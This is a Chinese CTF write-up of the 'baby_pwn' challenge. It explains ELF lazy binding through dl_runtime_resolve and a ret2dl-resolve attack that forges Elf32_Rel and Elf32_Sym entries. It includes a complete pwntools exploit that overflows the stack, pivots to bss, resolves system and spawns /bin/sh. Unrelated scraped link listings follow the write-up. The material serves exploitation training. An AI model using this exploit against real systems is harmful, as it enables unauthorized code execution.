国赛baby_pwn-ret2_dl_runtime_resolve之ELF32_rel,Elf32_sym,伪造

0x01 ELF文件的动态链接之延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位,且一部分函数在执行结束都不会用到,如果一开始链接好实际上是一种浪费,于是ELF采取的这种技术。

0x02 延迟绑定的实现过程

以国赛baby_pwn为例

程序第一次执行read函数,会进入plt表。

之后会跳转至ds:[0x804a00c]处的地址。将参数0和ds:[0x804a004](link_map的指针)处的地址压入栈中,之后执行dl_runtime_resolve函数

dl_runtime_resolve函数

1.访问linkmap的指针访问.dynmaic,取出.dynstr,.dynsym,.rel.plt的指针

2. .rel.plt+第二个参数求出当前重定位表项Elf32_rel的指针。该结构体如下,大小为8个字节

typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
} Elf32_Rel;

查看一下本题目的read函数的Elf32_rel结构体

3.将Elf32_rel结构体中r_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针

该结构体如下,长度为0x10

typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

由于上方107>>8=1且结构体长度为0x10

这里我们可以得知st_name的值为0x20

4…dynstr + sym->st_name得出符号名字符串指针,偏移为0x20正好为read函数的字符串

5.在动态链接库查找这个函数的地址,并且把地址赋值给GOT表

6.调用这个函数

0x03利用方式

1.改写.dynamic的DT_STRTAB

若.dynmaic可写,即可改写.dynmaic中.dynstr的指针,将.dynstr的指针改动至可以操纵的内存空间,便可以执行我们想要的函数。

2.操纵第二个参数,实现伪造的效果

根据重定位的第二步.rel.plt + 第二个参数,若第二个参数值很大,那么就可以跳转至我们可以操纵的一块内存空间。便可以伪造Elf32_rel结构体中r_info,r_info伪造时要注意为0xXXXXXX07,其中0xXXXXXX为.dynsym的下标,也可以利用类似的方法进行越界至可操纵内存伪造Elf32_sym,最后伪造st_name使得.dynstr越界并且伪造字符串

baby_pwn

拿到程序,看到栈溢出漏洞

return read(0, &buf, 0x100u);

接着便是构造溢出之后的ROP链

由于没有puts,write之类函数无法泄露got表内地址,无法知道libc版本,因此无法执行system函数。于是考虑采用ret2dl-resolve技术

首先查看.dynmaic是否可写.dynmaic的地址为0x08049F14,发现其不可写。

于是考虑一下思路2。首先实现溢出,执行read函数,在bss+0x800上构造虚假的第一个参数,Elf32_rel,Elf32_sym和st_name,和函数参数最后转移栈顶转移至bss+0x800。

之后强制重定位,强制重定位后会自动执行重定位之后的函数system函数

EXP如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level='debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p=process('./nationalpwn')
#p=remote("c346dfd9093dd09cc714320ffb41ab76.kr-lab.com",56833)
elf=ELF('./nationalpwn') base_stage=0x0804a040+0x800 #objdump -h pwn|grep bss
read_plt=0x08048390 #objdump -d pwn |grep plt
gadget1=0x0804852a #ROPgadget --binary pwn |grep leave # leave |ret payload='A'*0x28+p32(base_stage) #EBP->bss_stage
payload+=p32(elf.symbols['read'])+p32(gadget1)+p32(0)+p32(base_stage)+p32(100)
#raw_input()
p.sendline(payload) #fake struct
dynsym=0x080481dc#objdump -h pwn
dynstr=0x0804827c
alarm_got=0x0804a010
fake_sym_addr=base_stage+44 index_dynsym=(fake_sym_addr-dynsym)/0x10
r_info=index_dynsym<<8|0x7
fake_reloc=p32(alarm_got)+p32(r_info)# rel alarm->system 07
st_name=fake_sym_addr+0x10-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) plt0=0x08048380 #.plt
rel_plt=0x0804833c#rel位置
cmd='/bin/sh'
index_offset=base_stage-rel_plt+28 payload2='B'*4 #base_stage
payload2+=p32(plt0)#强制重定位,esp+4 base_stage+4
payload2+=p32(index_offset) # push reloc_arg base_stage+8
payload2+='AAAA'#返回地址 bse_stage+12
payload2+=p32(base_stage+80)#函数参数base_stage+16
payload2+='A'*8#base+stage+20
#fake_struct
payload2+=fake_reloc #base_stage+28
payload2+='B'*8#base_stage+36
payload2+=fake_sym #base_stage+44
payload2+="system\x00\x00"#base_stage+60
payload2+='A'*12#base_stage+68
payload2+=cmd+'\x00'
#gdb.attach(p)
p.send(payload2)
p.interactive()

国赛baby_pwn的更多相关文章

  1. 湘潭邀请赛+蓝桥国赛总结暨ACM退役总结

    湘潭邀请赛已经过去三个星期,蓝桥也在上个星期结束,今天也是时候写一下总结了,这应该也是我的退役总结了~ --------------------------------湘潭邀请赛----------- ...

  2. 2018年数学建模国赛B题 智能RGV的动态调度策略

    第一种情况大致思路: 每秒判断各个CNC的状态,若工作完成或者是出于空闲状态下则向RGV发出一个请求.同时,RGV每秒判断自己的状态(上下料.移动.闲置.清洗等),如果是处于闲置状态,则启用调度算法, ...

  3. 2018年第九届蓝桥杯国赛总结(JavaB组)

    懒更,之前的删了补一个国赛总结 记yzm10的第一次国赛(赛点:首都经贸大学) 第一次就拿到了国一,运气不要太好~(同组lz学长豪取国特orz) 从省赛一路水过来,总算有了点成绩.其实最后一题有些遗憾 ...

  4. 使用pwn_deploy_chroot部署国赛pwn比赛题目

    目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...

  5. 第九届蓝桥杯国赛+第二天的第11届acm省赛的总结

    第九届蓝桥杯国赛+第二天的第11届acm省赛的总结 25号坐的去北京的火车,10个小时的火车,然后挤了快两个小时的地铁,最终达到了中国矿业大学旁边的订的房间.12个小时很难受,晕车症状有点严重,吃了快 ...

  6. 2019第十届蓝桥杯省赛及国赛个人总结(java-B组)

    省赛: 今年省赛的题目比18年简单的多,基本都是暴力枚举.BFS之类.还记得去年在山师考蓝桥杯,我这种辣鸡连题目都没看懂.本以为蓝桥会变得越来越难,没想到今年就被打脸了.今年省赛后面三个编程大题一个没 ...

  7. Python小白的数学建模课-A1.国赛赛题类型分析

    分析赛题类型,才能有的放矢. 评论区留下邮箱地址,送你国奖论文分析 『Python小白的数学建模课 @ Youcans』 带你从数模小白成为国赛达人. 1. 数模竞赛国赛 A题类型分析 年份 题目 要 ...

  8. 【备考06组01号】第四届蓝桥杯JAVA组A组国赛题解

    1.填算式 (1)题目描述     请看下面的算式:     (ABCD - EFGH) * XY = 900     每个字母代表一个0~9的数字,不同字母代表不同数字,首位不能为0.     比如 ...

  9. 2018数学建模国赛总结(A题/编程选手视角)

    2018数学建模已经告一段落了,先说说基本情况吧,我们队伍专业分别为:金融(A),会计(B),计算机(我),配置还算可以,他们俩会数据分析软件也会写论文,我可以写代码,画图.他们俩打过美赛(M奖),我 ...

随机推荐

  1. Data-Structure-Notes

    Data Structure Notes Chapter-1 Sorting Algorithm Selection Sorting: /* * Selection Sort */ template& ...

  2. docker关系图解析

    docker关系图解析 一.docker有5种状态 Dockerfile 文本文件,制作images的配置文件 images image,静态文件 containers container image ...

  3. Django框架之DRF APIView Serializer

    一.APIView 我们在使用DjangoRestfulFramework的时候会将每个视图类继承APIView,取代原生Django的View类 APIView的流程分析: rest_framewo ...

  4. 用C#实现Rabbitmq应用的小实例

    RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件).RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开放电信平台框架上的.所有主要 ...

  5. 30个关于Shell脚本的经典案例(上)

    对于初学者而言,因为没有实战经验,写不出来Shell脚本很正常,如果工作了几年的运维老年还是写不出来,那就是没主动找需求,缺乏练习,缺乏经验.针对以上问题,总结了30个生产环境中经典的Shell脚本, ...

  6. Integer装箱拆箱、参数传递

    拆箱装箱 举个例子 @Test public void testEquals() { int int1 = 12; int int2 = 12; Integer integer1 = new Inte ...

  7. VLC祥解

    功能部份:   VLC媒體播放器的核心是libvlc ,它提供了界面,應用處理功能,如播放列表管理,音頻和視頻解碼和輸出,線程系統.所有libvlc源文件設在的/src目錄及其子目錄:   # con ...

  8. Linux应用与端口

    lsof -i:port --- 得到对应端口的应用pid PS -ef|grep pid --- 根据pid得到对应应用

  9. TF-IDF词频逆文档频率算法

    一.简介 1.RF-IDF[term frequency-inverse document frequency]是一种用于检索与探究的常用加权技术. 2.TF-IDF是一种统计方法,用于评估一个词对于 ...

  10. C# EF框架 频繁连接性能损耗

    目的 测试EF框架在一次连接中多次保存和多次连接的耗时对比 测试环境 数据库SqlServer 2012 R2 EF框架6.2.0版本 数据库内容 ID UserName Password Creat ...